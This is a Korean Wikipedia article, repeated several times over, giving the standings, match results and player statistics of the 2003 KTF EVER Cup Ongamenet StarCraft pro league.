이창훈(Z) 동양 오리온 7 4 3 57.1% 5 백영민(P), 조용성(Z) IS 3 3 0 100% 6 장진남(Z), 조정현(T) AMD 드림팀 6 3 3 50% 7 김종성(T), 백영민(P) IS 4 2 2 50% 8 6조합 1 1 0 100% 9 3조합 2 1 1 50% 10 2조합 3 1 2 66.6% 포스트시즌[편집]   준플레이오프     플레이오프     결승전                                   2  동양 오리온 3     3  KTF 매직엔스 3      KTF 매직엔스 1       4  GO 0          동양 오리온 4        한빛 스타즈 1       1  한빛 스타즈                 일정 : 준플레이오프 - 2003년 8월 2일, 플레이오프 - 2003년 8월 9일, 결승전 - 2003년 8월 30일[1] KTF EVER컵 온게임넷 프로리그 준플레이오프 경기 목록 순 선수 맵 선수 1 성준모 승 신 개마고원 패 서지훈 2 송병석, 홍진호 승 Huntress 패 강민, 이재훈 3 홍진호 승 Guillotine 패 김근백 4 - - - - 5 - - - - KTF EVER컵 온게임넷 프로리그 플레이오프 경기 목록 순 선수 맵 선수 1 임요환 승 신 개마고원 패 홍진호 2 박용욱, 이창훈 패 Huntress 승 송병석, 홍진호 3 최연성 승 Guillotine 패 성준모 4 박용욱, 이창훈 승 Neo Jungle Story 패 김정민, 홍진호 5 김현진 - Nostalgia - 이윤열 KTF EVER컵 온게임넷 프로리그 결승전 경기 목록 순 선수 맵 선수 1 변길섭 패 Neo Bifrost 승 임요환 2 강도경, 박정석 승 Huntress 패 이창훈, 최연성 3 박정석 패 Guillotine 승 이창훈 4 강도경, 박정석 패 Neo Jungle Story 승 이창훈, 임요환 5 나도현 패 신 개마고원 승 박용욱 6 강도경, 박정석 - Huntress - 이창훈 김성제 7 박경락 - Nostalgia - 최연성 대회 결과[편집] 최종결과 우승 : 동양 오리온 , 준우승 : 한빛 스타즈 , 3위 : KTF 매직엔스 , 4위 : GO 각주[편집] ↑ 8월 23일에 경기예정 이었으나, 폭우로인해 변경되었다. KeSPA 프로리그 이전 작품 작품명 다음 작품 프로리그 시작 KTF EVER컵 온게임넷 프로리그(2003.03.01 ~ 2003.08.30) Neowiz Pmang컵 온게임넷 프로리그(2003.10.11 ~ 2004.02.29) vdeh 역대 스타크래프트 프로리그2003년~2005년 2003 KTF EVER(예선) 2003 Neowiz Pmang(예선) 2004 SKY 1라운드 2004 SKY 2라운드 2004 SKY 3라운드 2004 SKY 그랜드 파이널 2005년~2007년 SKY 2005 전기 SKY 2005 후기 SKY 2005 그랜드파이널 SKY 2006 전기 SKY 2006 후기 SKY 2006 통합챔피언전 2007년~2008년 2007 신한은행 전기 2007 신한은행 후기 신한은행 2007 통합챔피언전 2008 신한은행 2008년~2011년 08-09 신한은행 09-10 신한은행 10-11 신한은행 2011년~2013년 11-12 SK플래닛 2012 SK플래닛 12-13 SK플래닛 2013년~2016년 2014 SK텔레콤 2015 SK텔레콤 2016 SK텔레콤 원본 주소 "https://ko.wikipedia.org/w/index.php?title=KTF_EVER컵_온게임넷_프로리그&oldid=19906059" 분류: 스타크래프트 프로리그2003년 이스포츠 둘러보기 메뉴 개인 도구 로그인하지 않음토론기여계정 만들기로그인 이름공간 문서토론 변수 보기 읽기편집역사 보기 더 보기 검색 둘러보기 대문사용자 모임요즘 화제최근 바뀜모든 문서 보기임의 문서로도움말기부 도구 여기를 가리키는 문서가리키는 글의 최근 바뀜파일 올리기특수 문서 목록고유 링크문서 정보위키데이터 항목이 문서 인용하기 인쇄/내보내기 책 만들기PDF로 다운로드인쇄용 판 다른 언어 링크 추가 이 문서는 2017년 11월 2일 (목) 21:58에 마지막으로 편집되었습니다. 모든 문서는 크리에이티브 커먼즈 저작자표시-동일조건변경허락 3.0에 따라 사용할 수 있으며, 추가적인 조건이 적용될 수 있습니다. 자세한 내용은 이용 약관을 참고하십시오.Wikipedia®는 미국 및 다른 국가에 등록되어 있는 Wikimedia Foundation, Inc. 소유의 등록 상표입니다. 개인정보 정책 위키백과 소개 면책 조항 개발자 쿠키 정책 모바일 보기
KTF EVER컵 온게임넷 프로리그 - 위키백과, 우리 모두의 백과사전 KTF EVER컵 온게임넷 프로리그 위키백과, 우리 모두의 백과사전. 둘러보기로 가기 검색하러 가기 KTF 에버컵 온게임넷 프로리그KTF EVER Cup Ongamenet Pro League 대회 정보차수 제1회 대회기간 2003년 3월 1일 ~ 2003년 8월 30일주관방송사 온게임넷스폰서 KTF EVER참가팀 10팀 (본선 8팀) KTF 매직엔스 한빛 스타즈 동양 오리온 G.O AMD 드림팀 삼성전자 칸 KOR IS SouL (예선 탈락) P.O.S (예선 탈락)경기방식 8개팀 풀리그 후 상위 6팀 2라운드 진출2라운드 6개팀 풀리그 후 상위 1팀 결승진출2라운드 3-4위 5전 3선승 준플레이오프 후 승자 플레이오프 진출최종 플레이오프 결승전 7전 4선승제공식맵 신 개마고원(예선:개마고원)NostalgiaGuillotineNeo BifrostHuntress (팀플레이)Neo Jungle Story (팀플레이)Neo Lost Temple (예선 팀플레이)경기장소 서울 삼성동 코엑스 메가웹스테이션 결승전장소 서울 올림픽공원 평화의 광장해설 전용준 (캐스터) 김동수 (해설) 김도형 (해설)최종 순위우승 동양 오리온 (1번째 우승)준우승 한빛 스타즈3위 KTF 매직엔스4위 G.O개인수상 및 통계결승MVP 이창훈Z (동양 오리온)결승전 2승 1패개인전 1승 0패팀플레이 1승 1패최다승 최연성T (동양 오리온)8승 1패신인상 최연성T (동양 오리온)8승 1패승률1위 개인전: 최연성T (동양 오리온)88.9%, 8승 1패팀플레이: 강도경Z, 박정석P (한빛 스타즈)83.3%, 10승 2패감독상 주훈 (동양 오리온)이전 대회 / 다음 대회 네오위즈 피망컵 2003-04 → KTF EVER컵 온게임넷 프로리그(KTF EVER Cup Ongamenet Pro League)는 프로리그의 첫 번째 시즌이다. 목차 1 예선 2 정규리그 순위 3 라운드 별 순위 3.1 1라운드 3.2 2라운드 4 정규리그 선수 통계 4.1 전체 종합 4.2 개인전 순위 4.3 팀플전 순위 4.4 팀플 조합 순위 5 포스트시즌 6 대회 결과 7 각주 예선[편집] 이 부분의 본문은 KTF EVER컵 온게임넷 프로리그/예선입니다. 10팀은 2팀씩 5조로 나뉘어 5전 3선승제로 경기. (개인전 4경기, 팀플레이 1경기) 승리한 5팀은 예선 통과. 패한 팀 중 소속 선수 최상위 랭킹 3명의 랭킹이 높은 팀은 부전승으로 예선 통과. 나머지 4팀은 2조로 나뉘어 5전 3선승제로 경기를 치른 후 승리한 팀 2팀이 최종적으로 본선에 합류한다. 맵 1,2경기 개인전: 개마고원 3경기 팀플레이: Neo Lost Temple 4,5경기 개인전: Neo Bifrost 예선 결과 순위 팀 진출여부 1 KTF 매직엔스 A조 통과 1 IS B조 통과 1 동양 오리온 C조 통과 1 G.O D조 통과 1 AMD 드림팀 E조 통과 6 한빛 스타즈 패자 부전승 7 삼성전자 칸 패자A조 통과 7 KOR 패자B조 통과 9 P.O.S 예선 탈락 9 SouL 예선 탈락 정규리그 순위[편집] 순위기준: 다승 → 승점 → 승자승 순 순위 팀 경기수 승 패 승률 승점 1 한빛 스타즈 12 9 3 75% 25 2 동양 오리온 12 8 4 66.7% 23 3 KTF 매직엔스 12 8 4 66.7% 20 4 G.O 12 7 5 58.3% 18 5 IS 12 4 8 33.3% 16 6 AMD 드림팀 12 3 9 25% 11 7 삼성전자 칸 7 2 5 28.6% 8 8 KOR 7 2 5 28.6% 8 라운드 별 순위[편집] 1라운드[편집] 순위 팀 경기수 승 패 승률 승점 진출여부 1 KTF 매직엔스 7 6 1 85.7% 14 2라운드 진출 2 동양 오리온 7 5 2 71.4% 13 2라운드 진출 3 GO 7 4 3 57.1% 11 2라운드 진출 4 한빛 스타즈 7 4 3 57.1% 11 2라운드 진출 5 AMD 드림팀 7 3 4 42.9% 10 2라운드 진출 6 IS 7 2 5 28.6% 9 2라운드 진출 7 삼성전자 칸 7 2 5 28.6% 8 8 KOR 7 2 5 28.6% 8 1라운드 경기 세부 주차 일정 팀 스코어 팀 1 3월 1일 KTF 매직엔스 2 - 1 AMD 드림팀 GO 2 - 1 IS 2 3월 8일 한빛 스타즈 2 - 1 삼성전자 칸 동양 오리온 2 - 1 KOR 3 3월 15일 동양 오리온 1 - 2 KTF 매직엔스 AMD 드림팀 2 - 1 IS 4 3월 22일 한빛 스타즈 1 - 2 GO 삼성전자 칸 2 - 1 KOR 5 3월 29일 KOR 0 - 3 KTF 매직엔스 삼성전자 칸 3 - 0 GO 6 4월 5일 IS 1 - 2 한빛 스타즈 AMD 드림팀 1 - 2 동양 오리온 7 4월 12일 KTF 매직엔스 2 - 1 GO AMD 드림팀 2 - 1 KOR 8 4월 19일 IS 3 - 0 삼성전자 칸 동양 오리온 2 - 1 한빛 스타즈 9 4월 26일 삼성전자 칸 1 - 2 KTF 매직엔스 GO 1 - 2 KOR 10 5월 3일 한빛 스타즈 2 - 1 AMD 드림팀 동양 오리온 3 - 0 IS 11 5월 10일 AMD 드림팀 2 - 1 삼성전자 칸 KTF 매직엔스 1 - 2 한빛 스타즈 12 5월 17일 IS 2 - 1 KOR GO 2 - 1 AMD 드림팀 13 5월 24일 KTF 매직엔스 2 - 1 IS GO 3 - 0 동양 오리온 14 5월 31일 한빛 스타즈 1 - 2 KOR 삼성전자 칸 0 - 3 동양 오리온 2라운드[편집] 순위 팀 경기수 승 패 승률 승점 진출여부 1 한빛 스타즈 5 5 0 100% 14 결승 직행 2 동양 오리온 5 3 2 60% 10 플레이오프 진출 3 KTF 매직엔스 5 3 2 60% 7 준플레이오프 진출 4 G.O 5 2 3 40% 7 준플레이오프 진출 5 IS 5 2 3 40% 6 6 AMD 드림팀 5 0 5 0% 1 2라운드 경기 세부 주차 일정 팀 스코어 팀 15 6월 7일 KTF 매직엔스 1 - 2 GO 동양 오리온 3 - 0 AMD 드림팀 16 6월 14일 KTF 매직엔스 2 - 1 IS 한빛 스타즈 2 - 1 동양 오리온 17 6월 21일 IS 2 - 1 동양 오리온 한빛 스타즈 3 - 0 AMD 드림팀 18 6월 28일 KTF 매직엔스 0 - 3 한빛 스타즈 IS 1 - 2 GO 19 7월 5일 AMD 드림팀 0 - 3 GO 한빛 스타즈 3 - 0 IS 20 7월 11일 IS 3 - 0 AMD 드림팀 GO 0 - 3 동양 오리온 21 7월 19일 GO 0 - 3 한빛 스타즈 AMD 드림팀 1 - 2 KTF 매직엔스 22 7월 26일 동양 오리온 2 - 1 KTF 매직엔스 정규리그 선수 통계[편집] 정규리그 성적만 포함 전체 종합[편집] 순위 선수 이름 소속팀 경기수 승 패 승률 1 박정석(P) 한빛 스타즈 18 15 3 83.3% 2 강도경(Z) 한빛 스타즈 13 11 2 84.6% 3 송병석(P) KTF 매직엔스 15 10 5 66.6% 4 이재훈(P) G.O 18 10 8 55.5% 5 홍진호(Z) KTF 매직엔스 16 9 7 56.2% 6 임요환(T) 동양 오리온 9 7 2 77.7% 7 최연성(T) 동양 오리온 9 7 2 77.7% 8 이창훈(Z) 동양 오리온 12 7 5 58.3% 9 강민(P) G.O 10 6 4 60% 10 2명의 선수 11 6 5 54.5% 개인전 순위[편집] 순위 선수 이름 소속팀 경기수 승 패 승률 1 최연성(T) 동양 오리온 8 7 1 87.5% 2 성학승(Z) IS 11 6 5 54.5% 3 박정석(P) KTF 매직엔스 6 5 1 83.3% 4 임요환(T) 동양 오리온 7 5 2 71.4% 5 이재훈(P) G.O 8 5 3 62.5% 6 베르트랑(T) AMD 드림팀 10 5 5 50% 7 주진철(Z) KOR 5 4 1 80% 8 나도현(T) 한빛 스타즈 6 4 2 66.6% 9 서지훈(T) G.O 7 4 3 57.1% 10 이윤열(T) KTF 매직엔스 9 4 5 44.4% 팀플전 순위[편집] 순위 선수 이름 소속팀 경기수 승 패 승률 1 박정석(P) 한빛 스타즈 12 10 2 83.3% 2 강도경(Z) 한빛 스타즈 12 10 2 83.3% 3 송병석(P) KTF 매직엔스 11 7 4 63.6% 4 홍진호(Z) KTF 매직엔스 10 6 4 60% 5 강민(P) GO 9 5 4 55.5% 6 김성제(P) 동양 오리온 9 5 4 55.5% 7 이재훈(P) G.O 10 5 5 50% 8 백영민(P) IS 10 5 5 50% 9 이창훈(Z) 동양 오리온 8 4 4 50% 10 조용성(Z) IS 3 3 0 100% 팀플 조합 순위[편집] 순위 선수 이름 소속팀 경기수 승 패 승률 1 강도경(Z), 박정석(P) 한빛 스타즈 12 10 2 83.3% 2 강민(P), 이재훈(P) GO 8 5 3 62.5% 3 송병석(P), 홍진호(Z) KTF 매직엔스 9 5 4 55.5% 4 김성제(P), 이창훈(Z) 동양 오리온 7 4 3 57.1% 5 백영민(P), 조용성(Z) IS 3 3 0 100% 6 장진남(Z), 조정현(T) AMD 드림팀 6 3 3 50% 7 김종성(T), 백영민(P) IS 4 2 2 50% 8 6조합 1 1 0 100% 9 3조합 2 1 1 50% 10 2조합 3 1 2 66.6% 포스트시즌[편집]   준플레이오프     플레이오프     결승전                                   2  동양 오리온 3     3  KTF 매직엔스 3      KTF 매직엔스 1       4  GO 0          동양 오리온 4        한빛 스타즈 1       1  한빛 스타즈                 일정 : 준플레이오프 - 2003년 8월 2일, 플레이오프 - 2003년 8월 9일, 결승전 - 2003년 8월 30일[1] KTF EVER컵 온게임넷 프로리그 준플레이오프 경기 목록 순 선수 맵 선수 1 성준모 승 신 개마고원 패 서지훈 2 송병석, 홍진호 승 Huntress 패 강민, 이재훈 3 홍진호 승 Guillotine 패 김근백 4 - - - - 5 - - - - KTF EVER컵 온게임넷 프로리그 플레이오프 경기 목록 순 선수 맵 선수 1 임요환 승 신 개마고원 패 홍진호 2 박용욱, 이창훈 패 Huntress 승 송병석, 홍진호 3 최연성 승 Guillotine 패 성준모 4 박용욱, 이창훈 승 Neo Jungle Story 패 김정민, 홍진호 5 김현진 - Nostalgia - 이윤열 KTF EVER컵 온게임넷 프로리그 결승전 경기 목록 순 선수 맵 선수 1 변길섭 패 Neo Bifrost 승 임요환 2 강도경, 박정석 승 Huntress 패 이창훈, 최연성 3 박정석 패 Guillotine 승 이창훈 4 강도경, 박정석 패 Neo Jungle Story 승 이창훈, 임요환 5 나도현 패 신 개마고원 승 박용욱 6 강도경, 박정석 - Huntress - 이창훈 김성제 7 박경락 - Nostalgia - 최연성 대회 결과[편집] 최종결과 우승 : 동양 오리온 , 준우승 : 한빛 스타즈 , 3위 : KTF 매직엔스 , 4위 : GO 각주[편집] ↑ 8월 23일에 경기예정 이었으나, 폭우로인해 변경되었다. KeSPA 프로리그 이전 작품 작품명 다음 작품 프로리그 시작 KTF EVER컵 온게임넷 프로리그(2003.03.01 ~ 2003.08.30) Neowiz Pmang컵 온게임넷 프로리그(2003.10.11 ~ 2004.02.29) vdeh 역대 스타크래프트 프로리그2003년~2005년 2003 KTF EVER(예선) 2003 Neowiz Pmang(예선) 2004 SKY 1라운드 2004 SKY 2라운드 2004 SKY 3라운드 2004 SKY 그랜드 파이널 2005년~2007년 SKY 2005 전기 SKY 2005 후기 SKY 2005 그랜드파이널 SKY 2006 전기 SKY 2006 후기 SKY 2006 통합챔피언전 2007년~2008년 2007 신한은행 전기 2007 신한은행 후기 신한은행 2007 통합챔피언전 2008 신한은행 2008년~2011년 08-09 신한은행 09-10 신한은행 10-11 신한은행 2011년~2013년 11-12 SK플래닛 2012 SK플래닛 12-13 SK플래닛 2013년~2016년 2014 SK텔레콤 2015 SK텔레콤 2016 SK텔레콤 원본 주소 "https://ko.wikipedia.org/w/index.php?title=KTF_EVER컵_온게임넷_프로리그&oldid=19906059" 분류: 스타크래프트 프로리그2003년 이스포츠 둘러보기 메뉴 개인 도구 로그인하지 않음토론기여계정 만들기로그인 이름공간 문서토론 변수 보기 읽기편집역사 보기 더 보기 검색 둘러보기 대문사용자 모임요즘 화제최근 바뀜모든 문서 보기임의 문서로도움말기부 도구 여기를 가리키는 문서가리키는 글의 최근 바뀜파일 올리기특수 문서 목록고유 링크문서 정보위키데이터 항목이 문서 인용하기 인쇄/내보내기 책 만들기PDF로 다운로드인쇄용 판 다른 언어 링크 추가 이 문서는 2017년 11월 2일 (목) 21:58에 마지막으로 편집되었습니다. 모든 문서는 크리에이티브 커먼즈 저작자표시-동일조건변경허락 3.0에 따라 사용할 수 있으며, 추가적인 조건이 적용될 수 있습니다. 자세한 내용은 이용 약관을 참고하십시오.Wikipedia®는 미국 및 다른 국가에 등록되어 있는 Wikimedia Foundation, Inc. 소유의 등록 상표입니다. 개인정보 정책 위키백과 소개 면책 조항 개발자 쿠키 정책 모바일 보기
KTF EVER컵 온게임넷 프로리그 - 위키백과, 우리 모두의 백과사전 KTF EVER컵 온게임넷 프로리그 위키백과, 우리 모두의 백과사전. 둘러보기로 가기 검색하러 가기 KTF 에버컵 온게임넷 프로리그KTF EVER Cup Ongamenet Pro League 대회 정보차수 제1회 대회기간 2003년 3월 1일 ~ 2003년 8월 30일주관방송사 온게임넷스폰서 KTF EVER참가팀 10팀 (본선 8팀) KTF 매직엔스 한빛 스타즈 동양 오리온 G.O AMD 드림팀 삼성전자 칸 KOR IS SouL (예선 탈락) P.O.S (예선 탈락)경기방식 8개팀 풀리그 후 상위 6팀 2라운드 진출2라운드 6개팀 풀리그 후 상위 1팀 결승진출2라운드 3-4위 5전 3선승 준플레이오프 후 승자 플레이오프 진출최종 플레이오프 결승전 7전 4선승제공식맵 신 개마고원(예선:개마고원)NostalgiaGuillotineNeo BifrostHuntress (팀플레이)Neo Jungle Story (팀플레이)Neo Lost Temple (예선 팀플레이)경기장소 서울 삼성동 코엑스 메가웹스테이션 결승전장소 서울 올림픽공원 평화의 광장해설 전용준 (캐스터) 김동수 (해설) 김도형 (해설)최종 순위우승 동양 오리온 (1번째 우승)준우승 한빛 스타즈3위 KTF 매직엔스4위 G.O개인수상 및 통계결승MVP 이창훈Z (동양 오리온)결승전 2승 1패개인전 1승 0패팀플레이 1승 1패최다승 최연성T (동양 오리온)8승 1패신인상 최연성T (동양 오리온)8승 1패승률1위 개인전: 최연성T (동양 오리온)88.9%, 8승 1패팀플레이: 강도경Z, 박정석P (한빛 스타즈)83.3%, 10승 2패감독상 주훈 (동양 오리온)이전 대회 / 다음 대회 네오위즈 피망컵 2003-04 → KTF EVER컵 온게임넷 프로리그(KTF EVER Cup Ongamenet Pro League)는 프로리그의 첫 번째 시즌이다. 목차 1 예선 2 정규리그 순위 3 라운드 별 순위 3.1 1라운드 3.2 2라운드 4 정규리그 선수 통계 4.1 전체 종합 4.2 개인전 순위 4.3 팀플전 순위 4.4 팀플 조합 순위 5 포스트시즌 6 대회 결과 7 각주 예선[편집] 이 부분의 본문은 KTF EVER컵 온게임넷 프로리그/예선입니다. 10팀은 2팀씩 5조로 나뉘어 5전 3선승제로 경기. (개인전 4경기, 팀플레이 1경기) 승리한 5팀은 예선 통과. 패한 팀 중 소속 선수 최상위 랭킹 3명의 랭킹이 높은 팀은 부전승으로 예선 통과. 나머지 4팀은 2조로 나뉘어 5전 3선승제로 경기를 치른 후 승리한 팀 2팀이 최종적으로 본선에 합류한다. 맵 1,2경기 개인전: 개마고원 3경기 팀플레이: Neo Lost Temple 4,5경기 개인전: Neo Bifrost 예선 결과 순위 팀 진출여부 1 KTF 매직엔스 A조 통과 1 IS B조 통과 1 동양 오리온 C조 통과 1 G.O D조 통과 1 AMD 드림팀 E조 통과 6 한빛 스타즈 패자 부전승 7 삼성전자 칸 패자A조 통과 7 KOR 패자B조 통과 9 P.O.S 예선 탈락 9 SouL 예선 탈락 정규리그 순위[편집] 순위기준: 다승 → 승점 → 승자승 순 순위 팀 경기수 승 패 승률 승점 1 한빛 스타즈 12 9 3 75% 25 2 동양 오리온 12 8 4 66.7% 23 3 KTF 매직엔스 12 8 4 66.7% 20 4 G.O 12 7 5 58.3% 18 5 IS 12 4 8 33.3% 16 6 AMD 드림팀 12 3 9 25% 11 7 삼성전자 칸 7 2 5 28.6% 8 8 KOR 7 2 5 28.6% 8 라운드 별 순위[편집] 1라운드[편집] 순위 팀 경기수 승 패 승률 승점 진출여부 1 KTF 매직엔스 7 6 1 85.7% 14 2라운드 진출 2 동양 오리온 7 5 2 71.4% 13 2라운드 진출 3 GO 7 4 3 57.1% 11 2라운드 진출 4 한빛 스타즈 7 4 3 57.1% 11 2라운드 진출 5 AMD 드림팀 7 3 4 42.9% 10 2라운드 진출 6 IS 7 2 5 28.6% 9 2라운드 진출 7 삼성전자 칸 7 2 5 28.6% 8 8 KOR 7 2 5 28.6% 8 1라운드 경기 세부 주차 일정 팀 스코어 팀 1 3월 1일 KTF 매직엔스 2 - 1 AMD 드림팀 GO 2 - 1 IS 2 3월 8일 한빛 스타즈 2 - 1 삼성전자 칸 동양 오리온 2 - 1 KOR 3 3월 15일 동양 오리온 1 - 2 KTF 매직엔스 AMD 드림팀 2 - 1 IS 4 3월 22일 한빛 스타즈 1 - 2 GO 삼성전자 칸 2 - 1 KOR 5 3월 29일 KOR 0 - 3 KTF 매직엔스 삼성전자 칸 3 - 0 GO 6 4월 5일 IS 1 - 2 한빛 스타즈 AMD 드림팀 1 - 2 동양 오리온 7 4월 12일 KTF 매직엔스 2 - 1 GO AMD 드림팀 2 - 1 KOR 8 4월 19일 IS 3 - 0 삼성전자 칸 동양 오리온 2 - 1 한빛 스타즈 9 4월 26일 삼성전자 칸 1 - 2 KTF 매직엔스 GO 1 - 2 KOR 10 5월 3일 한빛 스타즈 2 - 1 AMD 드림팀 동양 오리온 3 - 0 IS 11 5월 10일 AMD 드림팀 2 - 1 삼성전자 칸 KTF 매직엔스 1 - 2 한빛 스타즈 12 5월 17일 IS 2 - 1 KOR GO 2 - 1 AMD 드림팀 13 5월 24일 KTF 매직엔스 2 - 1 IS GO 3 - 0 동양 오리온 14 5월 31일 한빛 스타즈 1 - 2 KOR 삼성전자 칸 0 - 3 동양 오리온 2라운드[편집] 순위 팀 경기수 승 패 승률 승점 진출여부 1 한빛 스타즈 5 5 0 100% 14 결승 직행 2 동양 오리온 5 3 2 60% 10 플레이오프 진출 3 KTF 매직엔스 5 3 2 60% 7 준플레이오프 진출 4 G.O 5 2 3 40% 7 준플레이오프 진출 5 IS 5 2 3 40% 6 6 AMD 드림팀 5 0 5 0% 1 2라운드 경기 세부 주차 일정 팀 스코어 팀 15 6월 7일 KTF 매직엔스 1 - 2 GO 동양 오리온 3 - 0 AMD 드림팀 16 6월 14일 KTF 매직엔스 2 - 1 IS 한빛 스타즈 2 - 1 동양 오리온 17 6월 21일 IS 2 - 1 동양 오리온 한빛 스타즈 3 - 0 AMD 드림팀 18 6월 28일 KTF 매직엔스 0 - 3 한빛 스타즈 IS 1 - 2 GO 19 7월 5일 AMD 드림팀 0 - 3 GO 한빛 스타즈 3 - 0 IS 20 7월 11일 IS 3 - 0 AMD 드림팀 GO 0 - 3 동양 오리온 21 7월 19일 GO 0 - 3 한빛 스타즈 AMD 드림팀 1 - 2 KTF 매직엔스 22 7월 26일 동양 오리온 2 - 1 KTF 매직엔스 정규리그 선수 통계[편집] 정규리그 성적만 포함 전체 종합[편집] 순위 선수 이름 소속팀 경기수 승 패 승률 1 박정석(P) 한빛 스타즈 18 15 3 83.3% 2 강도경(Z) 한빛 스타즈 13 11 2 84.6% 3 송병석(P) KTF 매직엔스 15 10 5 66.6% 4 이재훈(P) G.O 18 10 8 55.5% 5 홍진호(Z) KTF 매직엔스 16 9 7 56.2% 6 임요환(T) 동양 오리온 9 7 2 77.7% 7 최연성(T) 동양 오리온 9 7 2 77.7% 8 이창훈(Z) 동양 오리온 12 7 5 58.3% 9 강민(P) G.O 10 6 4 60% 10 2명의 선수 11 6 5 54.5% 개인전 순위[편집] 순위 선수 이름 소속팀 경기수 승 패 승률 1 최연성(T) 동양 오리온 8 7 1 87.5% 2 성학승(Z) IS 11 6 5 54.5% 3 박정석(P) KTF 매직엔스 6 5 1 83.3% 4 임요환(T) 동양 오리온 7 5 2 71.4% 5 이재훈(P) G.O 8 5 3 62.5% 6 베르트랑(T) AMD 드림팀 10 5 5 50% 7 주진철(Z) KOR 5 4 1 80% 8 나도현(T) 한빛 스타즈 6 4 2 66.6% 9 서지훈(T) G.O 7 4 3 57.1% 10 이윤열(T) KTF 매직엔스 9 4 5 44.4% 팀플전 순위[편집] 순위 선수 이름 소속팀 경기수 승 패 승률 1 박정석(P) 한빛 스타즈 12 10 2 83.3% 2 강도경(Z) 한빛 스타즈 12 10 2 83.3% 3 송병석(P) KTF 매직엔스 11 7 4 63.6% 4 홍진호(Z) KTF 매직엔스 10 6 4 60% 5 강민(P) GO 9 5 4 55.5% 6 김성제(P) 동양 오리온 9 5 4 55.5% 7 이재훈(P) G.O 10 5 5 50% 8 백영민(P) IS 10 5 5 50% 9 이창훈(Z) 동양 오리온 8 4 4 50% 10 조용성(Z) IS 3 3 0 100% 팀플 조합 순위[편집] 순위 선수 이름 소속팀 경기수 승 패 승률 1 강도경(Z), 박정석(P) 한빛 스타즈 12 10 2 83.3% 2 강민(P), 이재훈(P) GO 8 5 3 62.5% 3 송병석(P), 홍진호(Z) KTF 매직엔스 9 5 4 55.5% 4 김성제(P), 이창훈(Z) 동양 오리온 7 4 3 57.1% 5 백영민(P), 조용성(Z) IS 3 3 0 100% 6 장진남(Z), 조정현(T) AMD 드림팀 6 3 3 50% 7 김종성(T), 백영민(P) IS 4 2 2 50% 8 6조합 1 1 0 100% 9 3조합 2 1 1 50% 10 2조합 3 1 2 66.6% 포스트시즌[편집]   준플레이오프     플레이오프     결승전                                   2  동양 오리온 3     3  KTF 매직엔스 3      KTF 매직엔스 1       4  GO 0          동양 오리온 4        한빛 스타즈 1       1  한빛 스타즈                 일정 : 준플레이오프 - 2003년 8월 2일, 플레이오프 - 2003년 8월 9일, 결승전 - 2003년 8월 30일[1] KTF EVER컵 온게임넷 프로리그 준플레이오프 경기 목록 순 선수 맵 선수 1 성준모 승 신 개마고원 패 서지훈 2 송병석, 홍진호 승 Huntress 패 강민, 이재훈 3 홍진호 승 Guillotine 패 김근백 4 - - - - 5 - - - - KTF EVER컵 온게임넷 프로리그 플레이오프 경기 목록 순 선수 맵 선수 1 임요환 승 신 개마고원 패 홍진호 2 박용욱, 이창훈 패 Huntress 승 송병석, 홍진호 3 최연성 승 Guillotine 패 성준모 4 박용욱, 이창훈 승 Neo Jungle Story 패 김정민, 홍진호 5 김현진 - Nostalgia - 이윤열 KTF EVER컵 온게임넷 프로리그 결승전 경기 목록 순 선수 맵 선수 1 변길섭 패 Neo Bifrost 승 임요환 2 강도경, 박정석 승 Huntress 패 이창훈, 최연성 3 박정석 패 Guillotine 승 이창훈 4 강도경, 박정석 패 Neo Jungle Story 승 이창훈, 임요환 5 나도현 패 신 개마고원 승 박용욱 6 강도경, 박정석 - Huntress - 이창훈 김성제 7 박경락 - Nostalgia - 최연성 대회 결과[편집] 최종결과 우승 : 동양 오리온 , 준우승 : 한빛 스타즈 , 3위 : KTF 매직엔스 , 4위 : GO 각주[편집] ↑ 8월 23일에 경기예정 이었으나, 폭우로인해 변경되었다. KeSPA 프로리그 이전 작품 작품명 다음 작품 프로리그 시작 KTF EVER컵 온게임넷 프로리그(2003.03.01 ~ 2003.08.30) Neowiz Pmang컵 온게임넷 프로리그(2003.10.11 ~ 2004.02.29) vdeh 역대 스타크래프트 프로리그2003년~2005년 2003 KTF EVER(예선) 2003 Neowiz Pmang(예선) 2004 SKY 1라운드 2004 SKY 2라운드 2004 SKY 3라운드 2004 SKY 그랜드 파이널 2005년~2007년 SKY 2005 전기 SKY 2005 후기 SKY 2005 그랜드파이널 SKY 2006 전기 SKY 2006 후기 SKY 2006 통합챔피언전 2007년~2008년 2007 신한은행 전기 2007 신한은행 후기 신한은행 2007 통합챔피언전 2008 신한은행 2008년~2011년 08-09 신한은행 09-10 신한은행 10-11 신한은행 2011년~2013년 11-12 SK플래닛 2012 SK플래닛 12-13 SK플래닛 2013년~2016년 2014 SK텔레콤 2015 SK텔레콤 2016 SK텔레콤 원본 주소 "https://ko.wikipedia.org/w/index.php?title=KTF_EVER컵_온게임넷_프로리그&oldid=19906059" 분류: 스타크래프트 프로리그2003년 이스포츠 둘러보기 메뉴 개인 도구 로그인하지 않음토론기여계정 만들기로그인 이름공간 문서토론 변수 보기 읽기편집역사 보기 더 보기 검색 둘러보기 대문사용자 모임요즘 화제최근 바뀜모든 문서 보기임의 문서로도움말기부 도구 여기를 가리키는 문서가리키는 글의 최근 바뀜파일 올리기특수 문서 목록고유 링크문서 정보위키데이터 항목이 문서 인용하기 인쇄/내보내기 책 만들기PDF로 다운로드인쇄용 판 다른 언어 링크 추가 이 문서는 2017년 11월 2일 (목) 21:58에 마지막으로 편집되었습니다. 모든 문서는 크리에이티브 커먼즈 저작자표시-동일조건변경허락 3.0에 따라 사용할 수 있으며, 추가적인 조건이 적용될 수 있습니다. 자세한 내용은 이용 약관을 참고하십시오.Wikipedia®는 미국 및 다른 국가에 등록되어 있는 Wikimedia Foundation, Inc. 소유의 등록 상표입니다. 개인정보 정책 위키백과 소개 면책 조항 개발자 쿠키 정책 모바일 보기
